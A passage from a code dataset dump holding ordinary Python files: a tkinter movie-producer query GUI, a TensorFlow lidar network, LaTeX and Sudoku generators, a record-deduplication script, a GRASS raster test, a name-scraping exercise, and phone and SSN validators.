\"__main__\":\n train()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":8387,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"504597896","text":"from tkinter import ttk\nfrom tkinter import *\nimport colors\nimport requests\n#colores\nbackgroundColor = colors.backgroundColor\nforegroundColor = colors.foregroundColor\n\ndef cargarProductoras():\n try:\n res = colors.leerProductoras()\n\n if res.status_code == requests.codes.ok:\n return res.json()\n else:\n return [[]]\n except requests.exceptions.ConnectionError:\n return [[]]\n\n\ndef productoraPeliWindow(root):\n #ventana principal\n frameProductoraPeli = Frame(root, width = 700, height = 500, bg = backgroundColor[0]) \n\n #frames\n\n frameProductoraNombre = Frame(frameProductoraPeli, bg = backgroundColor[0])\n frameProductoraGenero = Frame(frameProductoraPeli, bg = backgroundColor[0])\n frameProductoraAnno = Frame(frameProductoraPeli, bg = backgroundColor[0])\n frameProductoraProductoras = Frame(frameProductoraPeli, bg = backgroundColor[0])\n frameProductoraPeliBotonesDatos = Frame(frameProductoraPeli, bg = backgroundColor[0])\n frameProductoraCantidad = Frame(frameProductoraPeli, bg = backgroundColor[0])\n frameProductoraDuracionMaxima = Frame(frameProductoraPeli, bg = backgroundColor[0])\n frameProductoraDuracionMinima = Frame(frameProductoraPeli, bg = backgroundColor[0])\n frameProductoraDuracionPromedio = Frame(frameProductoraPeli, bg = backgroundColor[0])\n frameProductoraPeliBotonesDuracion = Frame(frameProductoraPeli, bg = backgroundColor[0])\n\n #labels\n labelProductoraPeli = Label(frameProductoraPeli, text = \"Consultar película por Productora\", font= (\"Arial Bold\", 20), fg= foregroundColor[0], bg=backgroundColor[0])\n labelProductoraNombre = Label(frameProductoraNombre, text= \"Título\", font= (\"Arial Bold\", 10), fg= foregroundColor[0], bg=backgroundColor[0])\n labelProductoraGenero = Label(frameProductoraGenero, text= \"Género\", font= (\"Arial Bold\", 10), fg= foregroundColor[0], bg=backgroundColor[0])\n labelProductoraAnno = Label(frameProductoraAnno, text= \"Año\", font= (\"Arial Bold\", 10), fg= foregroundColor[0], bg=backgroundColor[0])\n labelProductoraProductoras = Label(frameProductoraProductoras, text= \"Compañia Productora\", font= (\"Arial Bold\", 10), fg= foregroundColor[0], bg=backgroundColor[0])\n labelProductoraCantidad = Label(frameProductoraCantidad, text= \"Cantidad\", font= (\"Arial Bold\", 10), fg= foregroundColor[0], bg=backgroundColor[0])\n labelProductoraDuracionMaxima = Label(frameProductoraDuracionMaxima, text= \"Duración Máxima\", font= (\"Arial Bold\", 10), fg= foregroundColor[0], bg=backgroundColor[0])\n labelProductoraDuracionMinima = Label(frameProductoraDuracionMinima, text= \"Duración Mínima\", font= (\"Arial Bold\", 10), fg= foregroundColor[0], bg=backgroundColor[0])\n labelProductoraDuracionPromedio = Label(frameProductoraDuracionPromedio, text= \"Duración Promedio\", font= (\"Arial Bold\", 10), fg= foregroundColor[0], bg=backgroundColor[0])\n\n #entrys\n productoras = cargarProductoras()\n if productoras == []:\n messagebox.showerror(\"Error\", \"No existen compañías productoras, por favor agregue una antes de continuar.\")\n return cancelar()\n elif productoras[0] == []:\n messagebox.showerror(\"Error\", \"No se pudo establecer comunicación con el servir, por favor intentelo más tarde.\")\n return cancelar()\n listaProduc = colors.getListaNombres(productoras)\n peliculas = []\n listaPelis = []\n\n comboBoxProductoraNombre = ttk.Combobox(frameProductoraNombre, width = 40, font= (\"Arial Bold\", 10), state= \"disabled\")\n entryProductoraGenero = Entry(frameProductoraGenero, width = 40, font= (\"Arial Bold\", 10), state = \"readonly\")\n entryProductoraAnno = Entry(frameProductoraAnno, width = 40, font= (\"Arial Bold\", 10), state = \"readonly\")\n entryProductoraCantidad = Entry(frameProductoraCantidad, width = 40, font= (\"Arial Bold\", 10), state = \"readonly\")\n entryProductoraDuracionMaxima = Entry(frameProductoraDuracionMaxima, width = 40, font= (\"Arial Bold\", 10), state = \"readonly\")\n entryProductoraDuracionMinima = Entry(frameProductoraDuracionMinima, width = 40, font= (\"Arial Bold\", 10), state = \"readonly\")\n entryProductoraDuracionPromedio = Entry(frameProductoraDuracionPromedio, width = 40, font= (\"Arial Bold\", 10), state = \"readonly\")\n\n comboBoxProductoraProductoras = ttk.Combobox(frameProductoraProductoras, width = 40, font= (\"Arial Bold\", 10), state= \"readonly\")\n comboBoxProductoraProductoras[\"values\"] = listaProduc\n\n def cargarInfo(event):\n nombre = comboBoxProductoraNombre.get()\n indice = 0\n for i in range (0, len(listaPelis)):\n if listaPelis[i] == nombre:\n indice = i\n break\n\n entryProductoraGenero.config(state=\"normal\")\n comboBoxProductoraNombre.config(state=\"normal\")\n entryProductoraAnno.config(state=\"normal\")\n\n entryProductoraGenero.delete(0, END)\n entryProductoraAnno.delete(0, END)\n \n nombreProd = \"Productora no encontrada\"\n entryProductoraGenero.insert(0,peliculas[indice][\"genero\"])\n entryProductoraAnno.insert(0,peliculas[indice][\"anno\"])\n comboBoxProductoraNombre.config(state = \"readonly\")\n entryProductoraGenero.config(state=\"readonly\")\n entryProductoraAnno.config(state=\"readonly\")\n\n comboBoxProductoraNombre.bind(\"<<ComboboxSelected>>\", cargarInfo)\n\n def buscardatos():\n for i in range (0, len(peliculas)):\n peliculas.pop()\n for i in range (0, len(listaPelis)):\n listaPelis.pop()\n Productora = comboBoxProductoraProductoras.get()\n if not Productora:\n comboBoxProductoraNombre.config(state=\"disabled\")\n messagebox.showerror(\"Error\", \"Por favor ingrese una Productora válida.\")\n else:\n idprod = colors.getIdByName(productoras, Productora)\n res = colors.buscarPorProductoraDatos(idprod)\n if res.status_code == requests.codes.ok:\n if len(res.json()) == 0:\n comboBoxProductoraNombre.config(state=\"disabled\")\n messagebox.showinfo(\"Disculpe\", \"No se encontró una película de esa Productora.\") \n else:\n for i in range (0, len (res.json())):\n peliculas.append(res.json()[i])\n nombres = colors.getListaNombres(peliculas)\n for i in range (0, len(nombres)):\n listaPelis.append(nombres[i])\n comboBoxProductoraNombre.config(state=\"readonly\")\n comboBoxProductoraNombre[\"values\"] = listaPelis\n comboBoxProductoraNombre.current(0)\n return cargarInfo(\"event\")\n else:\n comboBoxProductoraNombre.config(state=\"disabled\")\n messagebox.showerror(\"Error\", \"No se pudo establecer comunicación con el servidor por favor intente más tarde\") \n entryProductoraGenero.config(state=\"normal\")\n entryProductoraAnno.config(state=\"normal\")\n\n entryProductoraGenero.delete(0, END)\n entryProductoraAnno.delete(0, END)\n\n entryProductoraGenero.config(state=\"readonly\")\n entryProductoraAnno.config(state=\"readonly\")\n #funciones\n\n def buscarduracion():\n Productora = comboBoxProductoraProductoras.get()\n if not Productora:\n comboBoxProductoraNombre.config(state=\"disabled\")\n messagebox.showerror(\"Error\", \"Por favor ingrese una Productora válida.\")\n else:\n idprod = colors.getIdByName(productoras, Productora)\n res = colors.buscarPorProductoraDuracion(idprod)\n if res.status_code == requests.codes.ok:\n if len(res.json()) == 0:\n messagebox.showinfo(\"Disculpe\", \"No se encontró una película de esa Productora.\") \n else:\n valores = res.json()[0][\"value\"]\n print (res.json()[0])\n entryProductoraCantidad.config(state = \"normal\")\n entryProductoraDuracionMaxima.config(state = \"normal\")\n entryProductoraDuracionMinima.config(state = \"normal\")\n entryProductoraDuracionPromedio.config(state = \"normal\")\n\n entryProductoraCantidad.delete(0, END)\n entryProductoraDuracionMaxima.delete(0, END)\n entryProductoraDuracionMinima.delete(0, END)\n entryProductoraDuracionPromedio.delete(0, END)\n\n entryProductoraCantidad.insert(0, valores[\"cantidad\"])\n entryProductoraDuracionMaxima.insert(0, valores[\"duracionMaxima\"])\n entryProductoraDuracionMinima.insert(0, valores[\"duracionMinima\"])\n entryProductoraDuracionPromedio.insert(0, valores[\"duracionPromedio\"])\n\n entryProductoraCantidad.config(state = \"readonly\")\n entryProductoraDuracionMaxima.config(state = \"readonly\")\n entryProductoraDuracionMinima.config(state = \"readonly\")\n entryProductoraDuracionPromedio.config(state = \"readonly\")\n \n\n def cancelar():\n frameProductoraPeli.pack_forget()\n return \n #botones\n\n botonBuscarProductoraPeli = Button(frameProductoraPeliBotonesDatos, text=\"Buscar datos de películas\" , font= (\"Arial Bold\", 10), bg = backgroundColor[4], command= buscardatos)\n botonCancelarProductoraPeli = Button(frameProductoraDuracionPromedio, text=\"Cancelar\", font= (\"Arial Bold\", 10), bg = backgroundColor[4], command= cancelar)\n botonBuscarDuracionProductoraPeli = Button(frameProductoraPeliBotonesDuracion, text=\"Buscar información de duración\" , font= (\"Arial Bold\", 10), bg = backgroundColor[4], command= buscarduracion)\n\n\n #packs\n\n frameProductoraPeli.pack(fill = BOTH)\n labelProductoraPeli.pack()\n frameProductoraProductoras.pack(fill = X, pady = 5)\n frameProductoraPeliBotonesDatos.pack(fill=X)\n frameProductoraNombre.pack(fill = X)\n frameProductoraGenero.pack(fill = X)\n frameProductoraAnno.pack(fill = X, pady = 5)\n frameProductoraPeliBotonesDuracion.pack(fill = X)\n frameProductoraCantidad.pack(fill = X)\n frameProductoraDuracionMaxima.pack(fill = X)\n frameProductoraDuracionMinima.pack(fill = X)\n frameProductoraDuracionPromedio.pack(fill = X, pady = 5)\n\n labelProductoraNombre.pack()\n labelProductoraGenero.pack()\n labelProductoraAnno.pack()\n labelProductoraCantidad.pack()\n labelProductoraDuracionMaxima.pack()\n labelProductoraDuracionMinima.pack()\n labelProductoraDuracionPromedio.pack()\n\n comboBoxProductoraNombre.pack()\n entryProductoraGenero.pack()\n entryProductoraAnno.pack()\n comboBoxProductoraProductoras.pack()\n entryProductoraCantidad.pack()\n entryProductoraDuracionMaxima.pack()\n entryProductoraDuracionMinima.pack()\n entryProductoraDuracionPromedio.pack()\n\n botonBuscarProductoraPeli.pack(side = TOP)\n botonBuscarDuracionProductoraPeli.pack(side = TOP)\n botonCancelarProductoraPeli.pack(side = TOP, pady= 10)\n","sub_path":"views/porProductora.py","file_name":"porProductora.py","file_ext":"py","file_size_in_byte":11167,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"453666637","text":"\nfrom config import cfg\nfrom network import Network\nimport tensorflow as tf\n\n\n_feat_stride = [8, 8] # scale cnt of pool and stride\ntrainable_auto = False # control the head network whether to be trained in cubic net\n\nclass train_net(Network):\n def __init__(self, args,net_channel=None):\n self.inputs = []\n self.channel = net_channel\n self.lidar3d_data = tf.placeholder(tf.float32, shape=[None, 4])\n self.lidar_bv_data = tf.placeholder(tf.float32, shape=[None, 601, 601, 9])\n self.im_info = tf.placeholder(tf.float32, shape=[None, 3])\n self.gt_boxes_bv = tf.placeholder(tf.float32, shape=[None, 6])\n self.gt_boxes_3d = tf.placeholder(tf.float32, shape=[None, 8])\n self.gt_boxes_corners = tf.placeholder(tf.float32, shape=[None, 25])\n self.calib = tf.placeholder(tf.float32, shape=[None, 12])\n self.keep_prob = tf.placeholder(tf.float32)\n self.target_data = 0\n self.label_data = 0\n self.layers = dict({'lidar3d_data': self.lidar3d_data,\n 'lidar_bv_data': self.lidar_bv_data,\n 'calib': self.calib,\n 'im_info': self.im_info,\n 'gt_boxes_bv': self.gt_boxes_bv,\n 'gt_boxes_3d': self.gt_boxes_3d,\n 'gt_boxes_corners': self.gt_boxes_corners})\n self.setup(args)\n\n def setup(self, args):\n # for idx, dev in enumerate(gpu_id):\n # with tf.device('/gpu:{}'.format(dev)), tf.name_scope('gpu_{}'.format(dev)):\n (self.feed('lidar_bv_data')\n .conv(3, 3, 64, 1, 1, name='conv1_1', trainable=trainable_auto)\n .conv(3, 3, 64, 1, 1, name='conv1_2', trainable=trainable_auto)\n .max_pool(2, 2, 2, 2, padding='VALID', name='pool1')\n .conv(3, 3, 128, 1, 1, name='conv2_1', trainable=trainable_auto)\n .conv(3, 3, 128, 1, 1, name='conv2_2', trainable=trainable_auto)\n .max_pool(2, 2, 2, 2, padding='VALID', name='pool2')\n .conv(3, 3, 256, 1, 1, name='conv3_1', trainable=trainable_auto)\n .conv(3, 3, 256, 1, 1, name='conv3_2', trainable=trainable_auto)\n .conv(3, 3, 256, 1, 1, name='conv3_3', trainable=trainable_auto)\n .max_pool(2, 2, 2, 2, padding='VALID', name='pool3')\n .conv(3, 3, 512, 1, 1, name='conv4_1', trainable=trainable_auto)\n .conv(3, 3, 512, 1, 1, name='conv4_2', trainable=trainable_auto)\n .conv(3, 3, 512, 1, 1, name='conv4_3', trainable=trainable_auto)\n .conv(3, 3, 512, 1, 1, name='conv5_1', trainable=trainable_auto)\n .conv(3, 3, 512, 1, 1, name='conv5_2', trainable=trainable_auto)\n .conv(3, 3, 512, 1, 1, name='conv5_3', trainable=trainable_auto))\n # ========= RPN ============\n (self.feed('conv5_3')\n # .deconv(shape=None, c_o=512, stride=2, ksize=3, name='deconv_2x_1')\n .conv(3, 3, 512, 1, 1, name='rpn_conv/3x3', trainable=trainable_auto)\n .conv(1, 1, cfg.ANCHOR_CNT * 2, 1, 1, padding='VALID', relu=False, name='rpn_cls_score', trainable=trainable_auto))\n (self.feed('rpn_conv/3x3')\n .conv(1, 1, cfg.ANCHOR_CNT * 3, 1, 1, padding='VALID', relu=False, name='rpn_bbox_pred', trainable=trainable_auto))\n\n (self.feed('rpn_cls_score', 'gt_boxes_bv', 'gt_boxes_3d', 'im_info')\n .anchor_target_layer(_feat_stride, name='rpn_anchors_label'))\n\n (self.feed('rpn_cls_score')\n .reshape_layer(2, name='rpn_cls_score_reshape')\n .softmax(name='rpn_cls_prob')\n .reshape_layer(cfg.ANCHOR_CNT * 2, name='rpn_cls_prob_reshape'))\n\n (self.feed('rpn_cls_prob_reshape', 'rpn_bbox_pred', 'im_info', 'gt_boxes_bv')\n .proposal_layer_3d(_feat_stride, 'TRAIN', name='rpn_rois'))\n\n # (self.feed('lidar3d_data','rpn_rois')\n # .cubic_grid(method=args.method,name='cubic_grid')\n # .RNet_theta(name='RNet_theta') # inference the yaw of rpn proposal\n # )\n\n (self.feed('lidar3d_data', 'rpn_rois')\n .cubic_grid(method=args.method, name='cubic_grid')\n .cubic_cnn(channels=self.channel,name='cubic_cnn')\n )\n self.target_data = self.layers['cubic_grid'][0]\n self.label_data = self.layers['rpn_rois'][0][:, -2]\n\n # (self.feed('lidar3d_data', 'rpn_rois')\n # .vfe_feature_Gen(method=args.method, name='cubic_grid')\n # # .cubic_cnn(name='cubic_cnn')\n # )\n","sub_path":"lib/network/train_net.py","file_name":"train_net.py","file_ext":"py","file_size_in_byte":4454,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"152905307","text":"\"\"\"Test creating latex input\"\"\"\n\nf = open('latexout.tex','w')\n\"\"\"number of positions per row\"\"\"\npositions = 24\n\"\"\"width of the positions in mm\"\"\"\nwidth = 5 \n\n\"\"\"The text to put into the vfd\"\"\"\nvfdtext = 'Some text'\n\nf.write(r'\\begin{center}' + '\\n')\nf.write(r'\\setlength{\\unitlength}{1mm}' + '\\n')\nf.write(r'\\begin{picture}(' + str(positions * width) + ',10)' + '\\n')\nfor index in range(0, len(vfdtext)):\n f.write(r'\\put(' + str(index * 5) +\n r',1){\\framebox(5,5)[c]{' + vfdtext[index] + '}}\\n')\nfor index in range(len(vfdtext), 24):\n\tf.write(r'\\put(' + str(index * 5) +\n\t\t\tr',1){\\framebox(5,5)[c]{}}' + '\\n')\nf.write(r'\\end{picture}' + '\\n')\nf.write(r'\\end{center}' + '\\n')\nf.close()\n","sub_path":"python/latextest.py","file_name":"latextest.py","file_ext":"py","file_size_in_byte":699,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"136974172","text":"# 스도쿠 판을 랜덤으로 생성하는 코드\n# https://semtax.tistory.com/50\n# 이 게시글을 참고 함.\n\nimport random\n\n\ntable = [[0]*9 for i in range(9)]\nboard = [[0]*9 for i in range(9)]\nrow = [[0]*10 for i in range(10)]\ncol = [[0]*10 for i in range(10)]\ndiag = [[0]*10 for i in range(10)]\n\nflag = False\n\ndef initTable():\n seq_point = [0, 4, 8]\n for offset in range(0, 9, 3):\n seq = [i for i in range(1, 10)]\n random.shuffle(seq)\n for idx in range(9):\n now_i, now_j = idx//3, idx%3\n row[now_i+offset][seq[idx]] = 1\n col[now_j+offset][seq[idx]]=1\n k = seq_point[offset//3]\n diag[k][seq[idx]] = 1\n board[offset+now_i][offset+now_j] = seq[idx]\n\ndef makeTable(k):\n global flag\n if flag:\n return True\n if k>80:\n for i in range(9): \n for j in range(9):\n table[i][j] = board[i][j]\n flag = True\n return True\n now_i, now_j = k//9, k%9\n start_number = random.randint(1, 9)\n if board[now_i][now_j]:\n makeTable(k+1)\n for m in range(1, 10):\n m = 1+(m+start_number)%9\n d = (now_i//3)*3+now_j//3\n if row[now_i][m]==0 and col[now_j][m]==0 and diag[d][m]==0:\n row[now_i][m], col[now_j][m], diag[d][m] = 1, 1, 1\n board[now_i][now_j] = m\n makeTable(k+1)\n row[now_i][m], col[now_j][m], diag[d][m] = 0, 0, 0\n board[now_i][now_j] = 0\n\ninitTable()\nmakeTable(0)\n\nfor i in range(9):\n print(table[i])\n\n\n\n\n \n \n","sub_path":"initsudoku.py","file_name":"initsudoku.py","file_ext":"py","file_size_in_byte":1585,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"215059986","text":"import operator\nimport itertools\nfrom functools import reduce\nimport numpy as np\nimport pandas as pd\nimport jellyfish\nfrom matching.fellegi_sunter import fs_em, gamma_pattern\nfrom matching.cluster import clusterdf, ngram_index\nfrom matching.similarity import shingle\n\n\ndef canopy(n):\n df = fl_data()\n df2 = oge_data()\n\n x = ngram_index(df, 'nname', n=n)\n\n for s in shingle(df2.nname[0],k=n):\n print(len(x[s]))\n\ndef simple_score(r_a, r_b):\n return (jellyfish.jaro_winkler(r_a[0], r_b[0]) + \n (1.0 if r_a[1] == r_b[1] else 0) + \n (1.0 if r_a[2] == r_b[2] else 0))\n\n\ndef match_score():\n df_oge_d = pd.read_csv('./data/ogesdw.whd.whisard.fl-dedupe.csv')\n\n df_fl_d = pd.read_csv('./data/fl.restaurant-inspections-dedupe.csv')\n\n dfz = df_oge_d.merge(df_fl_d, on='nzip')\n \n mh = np.array([ 0.08910887, 0.98090761, 0.88638131])\n uh = np.array([ 0.00019569, 0.00198455, 0.0003152 ])\n\n dfz['score'] = dfz[['nname_x', 'snum_x', 'nzip', 'nname_y', 'snum_y', 'nzip']].apply(\n lambda x: log_score(gamma_pattern(((x[0],x[1],x[2]), (x[3],x[4],x[5]))),\n mh, uh),\n axis=1)\n\n return dfz\n\n\ndef training_set():\n dfz = pd.read_csv('./data/matches.csv')\n dft = dfz[['nname_x','nname_y', 'snum_x', 'snum_y', 'location_city', 'cty_nm', 'match']]\n dft.to_csv('./data/match_train.csv', encoding='utf-8', index=False)\n\n\ndef fl_data():\n df_fl = pd.read_csv('./data/fl.restaurant-inspections.csv')\n\n df_fl['id'] = df_fl.index\n df_fl_a = df_fl.groupby(['dba', \n 'location_address', \n 'location_city', \n 'location_zip_code',\n 'district',\n 'county_number']).first().reset_index()\n\n # Process name and zip code fields\n name_prep = lambda x:x.lower().translate({None:\"'.,\"}) if pd.notnull(x) else ''\n df_fl_a['nname'] = df_fl_a.dba.apply(name_prep)\n df_fl_a['nzip'] = df_fl_a.location_zip_code.apply(lambda x:x[0:5] if pd.notnull(x) else x)\n df_fl_a['snum'] = df_fl_a.location_address.str.split(' ',1).apply(lambda x:x[0])\n return df_fl_a\n\n\ndef oge_data():\n df_oge = pd.read_csv('./data/ogesdw.whd.whisard.fl.csv')\n\n df_oge_a_fl = df_oge.groupby(['trade_nm', \n 'legal_name', \n 'street_addr_1_txt', \n 'cty_nm', \n 'st_cd', \n 'zip_cd',\n 'naic_cd']).first().reset_index()\n\n # Process name and zip code fields\n name_prep = lambda x:x.lower().translate({None:\"'.,\"}) if pd.notnull(x) else ''\n df_oge_a_fl['nname'] = df_oge_a_fl.trade_nm.apply(name_prep)\n df_oge_a_fl['nzip'] = df_oge_a_fl.zip_cd.apply(lambda x: str(int(x)))\n df_oge_a_fl['snum'] = df_oge_a_fl.street_addr_1_txt.str.split(' ',1).apply(lambda x:x[0])\n return df_oge_a_fl\n\n\ndef em_oge(df_in):\n\n df1 = df_in[['nname', 'nzip', 'snum']].sample(frac=0.1)\n\n df1['k'] = 1\n\n m_u = [('name', 0.5, 0.0000005),\n ('zip', 0.9, 0.001),\n ('snum', 0.9, 0.0003)]\n df_mu = pd.DataFrame(data=m_u, columns=['Field', 'm_i', 'u_i'])\n\n record_pairs = []\n\n print(df1.info())\n\n for idx, r in df1.merge(df1, on='k').iterrows():\n record_pairs.append(((r.nname_x, r.nzip_x, r.snum_x), (r.nname_y, r.nzip_y, r.snum_y)))\n\n mh, uh, ph = fs_em(record_pairs, df_mu.m_i.values, df_mu.u_i.values, 1e-6)\n\n return mh, uh, ph\n\n\ndef scores(mh, uh, p):\n df_scores = pd.DataFrame(data=list(itertools.product([1,0], repeat=3)),\n columns=['name', 'zip', 'street num'])\n df_scores['m'] = df_scores[['name', 'zip', 'street num']].apply(lambda p: mp(p,mh,uh), axis=1)\n df_scores['u'] = df_scores[['name', 'zip', 'street num']].apply(lambda p: up(p,mh,uh), axis=1)\n df_scores['mu'] = df_scores.m/df_scores.u\n df_scores['w'] = df_scores[['name', 'zip', 'street num']].apply(lambda p: log_score(p,mh,uh), axis=1)\n df_scores.sort('mu', ascending=False, inplace=True)\n df_scores['cu'] = df_scores.u.cumsum()\n df_scores['cm'] = df_scores.m.cumsum()\n return df_scores\n\n\ndef cluster(df):\n df1 = df[['nname', 'nzip', 'snum']].reset_index()\n dfm = df1.merge(df1, on='nzip')\n #dfm = dfm[dfm.index_x != dfm.index_y]\n dfm['g1'] = dfm[['nname_x','nname_y']].apply(lambda x: 1 if jellyfish.jaro_winkler(x[0],x[1]) > 0.8 else 0, axis=1)\n dfm['g2'] = dfm[['snum_x','snum_y']].apply(lambda x: 1 if x[0] == x[1] else 0, axis=1)\n dfc = clusterdf(dfm)\n dd = dfc.groupby(['cluster_id', 'index_x']).first().reset_index()\n ddd = dfc.groupby('cluster_id').first()\n return df.ix[ddd.index_x]\n\n\ndef manual(dfz):\n for idx, r in dfz[(dfz.match==0)&(dfz.score>14)][['dba','location_address','trade_nm','street_addr_1_txt','jw','score']].sort_values(by='jw',ascending=False).iterrows():\n print(r)\n m = input()\n if m == 'm':\n dfz.match[idx] = 1\n if m == 'q':\n break\n\n","sub_path":"dedupe.py","file_name":"dedupe.py","file_ext":"py","file_size_in_byte":5056,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"121031708","text":"#!/usr/bin/env python\n#\n# Program: vtkGRASSBridge\n# COPYRIGHT: (C) 2009 by Soeren Gebbert, soerengebbert@googlemail.com\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation; version 2 of the License.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n\n#include the VTK and vtkGRASSBridge Python libraries\nimport unittest\nimport subprocess\nfrom vtk import *\nfrom libvtkGRASSBridgeIOPython import *\nfrom libvtkGRASSBridgeCommonPython import *\n\nfirstCheck = False\n\nclass GRASSRaster3dImageReaderWriterTest(unittest.TestCase):\n def setUp(self):\n global firstCheck\n if firstCheck == False:\n #Initiate grass\n init = vtkGRASSInit()\n init.Init(\"GRASSRaster3dImageReaderWriterTest\")\n init.ExitOnErrorOn()\n # Create the input data\n inputlist = [\"r3.mapcalc\", \"--o\", \"e=test_map_3d = depth()\"]\n proc = subprocess.Popen(args=inputlist)\n proc.communicate()\n\n def testSmoke(self):\n\n rs = vtkGRASSRaster3dImageReader()\n rs.SetRaster3dName(\"test_map_3d\")\n rs.UseRasterRegion()\n\n ws = vtkGRASSRaster3dImageWriter()\n ws.SetInput(rs.GetOutput())\n ws.SetRaster3dName(\"test_map_3d_2\")\n ws.UseCurrentRegion()\n ws.Update()\n\nif __name__ == '__main__':\n suite = unittest.TestLoader().loadTestsFromTestCase(GRASSRaster3dImageReaderWriterTest)\n unittest.TextTestRunner(verbosity=2).run(suite)","sub_path":"IO/Testing/Python/GRASSRaster3dImageReaderWriterTest.py","file_name":"GRASSRaster3dImageReaderWriterTest.py","file_ext":"py","file_size_in_byte":1759,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"347683185","text":"# BeautifulSoup Exercise\n# https://repl.it/@jaakofalltrade/Beautiful-Soup-Hatchlings\n# repl.itrepl.it\n# Beautiful Soup: Hatchlings\n# Extract the 1000 names needed by the empire\n\nimport requests\nfrom bs4 import BeautifulSoup\n\nresult = requests.get('https://www.babble.com/pregnancy/1000-most-popular-boy-names/')\n\nsrc = result.content\n\nsoup = BeautifulSoup(src, 'html.parser')\n\n\ndef name_grabber():\n\n names = [name.text for name in soup.find_all(\"li\", class_=None, id=None)]\n print(\"\\n\".join(sorted(names)))\n print(len(names))\n\nname_grabber()\n\n","sub_path":"data_formats/HTML/exercises/jaako_names.py","file_name":"jaako_names.py","file_ext":"py","file_size_in_byte":546,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"383513746","text":"import re\nimport random\nimport unidecode\nfrom datetime import datetime, date, timedelta\nfrom dateutil import parser as dateparser\nfrom dateutil.relativedelta import relativedelta\nfrom uszipcode import ZipcodeSearchEngine\nfrom faker import Faker\nfrom entropy import shannon_entropy\n\n# Regex utilities\nnon_digits_re = re.compile('[^0-9]')\nnon_alpha_re = re.compile('[^a-zA-Z]')\nparen_re = re.compile(r'\\([^()]*(\\)|$)')\npunc_re = re.compile(\"[-,.']\")\nwhite_space_re = re.compile('\\s+')\n\n\ndef validate_phone(phone):\n \"\"\"\n Utility function to normalize phone numbers. \n\n :param phone: \n Type: String\n Default: None\n Description: String representation of a phone number.\n :return: \n 1) If phone number is valid, it is returned in the format 'XXXXXXXXX'\n 2) If no valid phone number is supplied, None is returned\n \"\"\"\n if not phone:\n return None\n ph = re.compile(r'.*1?.*([1-9][0-9]{2}).*([0-9]{3}).*([0-9]{4}).*')\n n_phone = ph.match(phone)\n if not n_phone:\n raise ValueError('An invalid value was provided as a phone number: {}'.format(phone))\n else:\n return str('{}{}{}'.format(n_phone.group(1), n_phone.group(2), n_phone.group(3)))\n\n\ndef validate_contact_type(type):\n type_dict = {\"HOME\": frozenset([\"H\", \"HOME\", \"HOME PHONE\", \"HOUSE\", \"HOUSE PHONE\", \"LAND LINE\"]),\n \"MOBILE\": frozenset([\"C\", \"CELL\", \"MOBILE\", \"M\", \"CELL PHONE\", \"MOBILE PHONE\"]),\n \"WORK\": frozenset([\"W\", \"WORK\", \"WORK PHONE\", \"B\", \"BUSINESS\", \"BUSINESS PHONE\"]),\n \"TEMP\": frozenset([\"T\", \"TEMP\", \"TEMPORARY\"]),\n }\n if not type:\n raise ValueError(\n \"No contact type provided. A value in the allowed set must be provided.\")\n\n type = str(type).upper().strip()\n n_type = None\n\n for key in type_dict:\n if type in type_dict[key]:\n n_type = key\n if not n_type:\n raise ValueError(\"Contact type was not in the allowed set of values.\")\n return n_type\n\n\ndef random_phone():\n \"\"\"\n Returns a random phone number as a string in format XXXXXXXXXX\n \"\"\"\n p = list('0000000000')\n p[0] = str(random.randint(1, 9))\n for i in [1, 2, 6, 7, 8]:\n p[i] = str(random.randint(0, 9))\n for i in [3, 4]:\n p[i] = str(random.randint(0, 8))\n if p[3] == p[4] == 0:\n p[5] = str(random.randint(1, 8))\n else:\n p[5] = str(random.randint(0, 8))\n n = range(10)\n if p[6] == p[7] == p[8]:\n n = [i for i in n if i != p[6]]\n p[9] = str(random.choice(n))\n p = ''.join(p)\n return str(p[:3] + p[3:6] + p[6:])\n\n\ndef format_phone(phone=None):\n \"\"\"\n Utility function to return a properly formatted phone number\n \n :param phone: \n Type: STR\n Default: None\n Description: Any phone number that requires formatting\n :return: \n Type: String\n A phone number in format (XXX) XXX-XXXX\n \n \"\"\"\n if not phone:\n return None\n ph = re.compile(r'.*1?.*([1-9][0-9]{2}).*([0-9]{3}).*([0-9]{4}).*')\n n_phone = ph.match(phone)\n if not n_phone:\n raise ValueError('An invalid value was supplied as phone number: {}'.format(phone))\n else:\n return str('({}) {}-{}'.format(n_phone.group(1), n_phone.group(2), n_phone.group(3)))\n\n\ndef validate_ssn(ssn):\n \"\"\"\n Utility function to normalize social security numbers (SSN)\n\n :param ssn: \n Type: String\n Default: None\n Description: The SSN to normalize \n \n :return: \n Function accepts any SSN string and, if determined to be valid, outputs \n the SSN in the format 'XXX-XX-XXXX'\n \n If SSN argument is invalid, None is returned\n \n Invalid SSNs are:\n 1) Not equal to 9 numeric digits in length\n 2) Equal to known \"bad_ssns\" values like \"123456789\"\n 3) Numbers with all 0's in any digit group like \"000-XX-XXXX\" or \"XXX-00-XXXX\" or \"XXX-XX-0000\"\n 4) Numbers in first digit group between \"900\" and \"999\"\n 5) Numbers with a Shannon Entropy value <.16 like \"111-22-2222\"\n \"\"\"\n if not ssn:\n return None\n bad_ssns = ['123456789']\n numeric_digits = re.compile(r'[^0-9]+')\n ssn_digits = numeric_digits.sub('', ssn)\n if len(ssn_digits) != 9:\n ssn_digits = None\n raise ValueError('The value passed as an SSN was not nine numeric digits in length: {}'.format(ssn))\n elif ssn_digits:\n ssn_compile = re.compile(r'.*([0-8][0-9]{2}).*([0-9]{2}).*([0-9]{4}).*')\n n_ssn = ssn_compile.match(ssn_digits)\n if 